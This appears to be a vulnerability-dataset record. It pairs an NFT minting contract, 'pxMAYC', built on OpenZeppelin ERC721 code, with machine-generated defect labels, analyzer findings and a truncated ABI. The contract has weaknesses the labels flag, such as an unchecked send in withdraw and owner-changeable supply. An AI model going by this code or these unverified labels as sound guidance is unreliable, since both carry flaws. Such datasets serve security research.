_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract pxMAYC is ERC721Enumerable, Ownable {
uint256 public pxMAYCPrice = 10000000000000000;
uint public constant maxpxMAYCPurchase = 10;
uint public pxMAYCSupply = 6666;
bool public drop_is_active = false;
string public baseURI = "https://ipfs.io/ipfs/QmQsTrkFptdGH9SfaLrYixCWBptqME2xqG4dPbQRFF3FuC/";
uint256 public tokensMinted = 0;
uint256 public freeMints = 1000;
mapping(address => uint) addressesThatMinted;
constructor() ERC721("pxMAYC", "pxMAYC"){
}
function withdraw() public onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function flipDropState() public onlyOwner {
drop_is_active = !drop_is_active;
}
function freeMintpxMAYC(uint numberOfTokens) public {
require(drop_is_active, "Please wait until the drop is active to mint");
require(numberOfTokens > 0 && numberOfTokens <= maxpxMAYCPurchase, "Mint count is too little or too high");
require(tokensMinted + numberOfTokens <= freeMints, "Purchase will exceed max supply of free mints");
require(addressesThatMinted[msg.sender] + numberOfTokens <= 10, "You have already minted 10!");
uint256 tokenIndex = tokensMinted;
tokensMinted += numberOfTokens;
addressesThatMinted[msg.sender] += numberOfTokens;
for (uint i = 0; i < numberOfTokens; i++){
_safeMint(msg.sender, tokenIndex);
tokenIndex++;
}
}
function mintpxMAYC(uint numberOfTokens) public payable {
require(drop_is_active, "Please wait until the drop is active to mint");
require(numberOfTokens > 0 && numberOfTokens <= maxpxMAYCPurchase, "Mint count is too little or too high");
require(tokensMinted + numberOfTokens <= pxMAYCSupply, "Purchase would exceed max supply of pxMAYC");
require(msg.value >= pxMAYCPrice * numberOfTokens, "ETH value sent is too little for this many pxMAYC");
require(addressesThatMinted[msg.sender] + numberOfTokens <= 30, "You have already minted 30!");
uint256 tokenIndex = tokensMinted;
tokensMinted += numberOfTokens;
addressesThatMinted[msg.sender] += numberOfTokens;
for (uint i = 0; i < numberOfTokens; i++){
_safeMint(msg.sender, tokenIndex);
tokenIndex++;
}
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setpxMAYCPrice(uint256 newpxMAYCPrice)public onlyOwner{
pxMAYCPrice = newpxMAYCPrice;
}
function setBaseURI(string memory newBaseURI)public onlyOwner{
baseURI = newBaseURI;
}
function setSupply(uint256 newSupply)public onlyOwner{
pxMAYCSupply = newSupply;
}
function setFreeMints(uint256 newfreeMints)public onlyOwner{
freeMints = newfreeMints;
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1295", "1312"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["450"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1262"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["551", "1252", "529"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["631"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1227", "67", "1212", "635", "1238", "1052", "1009", "1322", "940", "1301"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1309", "1292", "908", "909", "878", "854", "1310", "1293"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [472, 473, 474, 475]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [963, 964, 965]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [297, 298, 299]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [1178]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [1153]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [1179]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [320, 321, 322, 323, 324, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [373, 374, 375, 376, 377, 378, 379]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [448, 449, 450, 451, 452, 443, 444, 445, 446, 447]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [433, 434, 435]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [504, 505, 503]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [408, 406, 407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [673, 674, 675]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [354, 355, 356, 357, 358, 359, 360]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [416, 417, 418, 419, 420, 421, 422, 423, 424, 425]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [344, 345, 346]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [656, 654, 655]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1234, 1235, 1236]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [661, 662, 663, 664, 665, 666]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [736, 737, 738, 732, 733, 734, 735]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1056, 1057, 1058, 1055]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1282, 1283, 1284]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1312, 1313, 1314, 1315, 1316, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1072, 1073, 1070, 1071]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [718, 719, 720, 721, 722, 723, 724, 725, 726, 727]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1242, 1243, 1244, 1245]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1334, 1335, 1336, 1337, 1338, 1339]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [648, 649, 647]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1322, 1323, 1324]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1280, 1278, 1279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1330, 1331, 1332, 1333]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [1328, 1326, 1327]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"pxMAYC.sol": [704, 705, 706]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [16]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [1259]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [511]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [184]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [1024]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [579]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [997]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [486]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [212]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [268]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [239]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [1185]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [41]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [450]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [423]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [396]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [322]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"pxMAYC.sol": [960, 961, 962, 963, 964, 965, 966, 967, 957, 958, 959]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [747]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [1267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [1265]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"pxMAYC.sol": [1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"pxMAYC.sol": [964]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"pxMAYC.sol": [960]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"pxMAYC.sol": [958]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"pxMAYC.sol": [1264]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"pxMAYC.sol": [960, 961, 962, 963, 964, 965, 966, 967, 957, 958, 959]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 568, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 831, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 852, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 873, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 876, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 906, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1235, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1322, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1326, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1330, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1334, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 16, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 41, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 184, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 212, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 239, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 268, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 486, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 511, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 579, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 997, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1185, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1259, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 517, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 592, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 595, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 598, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 601, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 604, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 607, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1034, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1037, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1040, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1043, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1201, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 960, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 291, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1279, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 503, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 963, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 319, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 612, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1208, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1274, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 319, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 319, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 320, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 320, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 320, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 320, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 322, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 322, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 322, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1272, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"drop_is_active","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"flipDropState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"numberOfTokens","type":"uint256"}],"name":"freeMintpxMAYC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"freeMints","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxpxMAYCPurchase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"numberOfTokens","type":"uint256"}],"name":"mintpxMAYC","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pxMAYCPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pxMAYCSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateM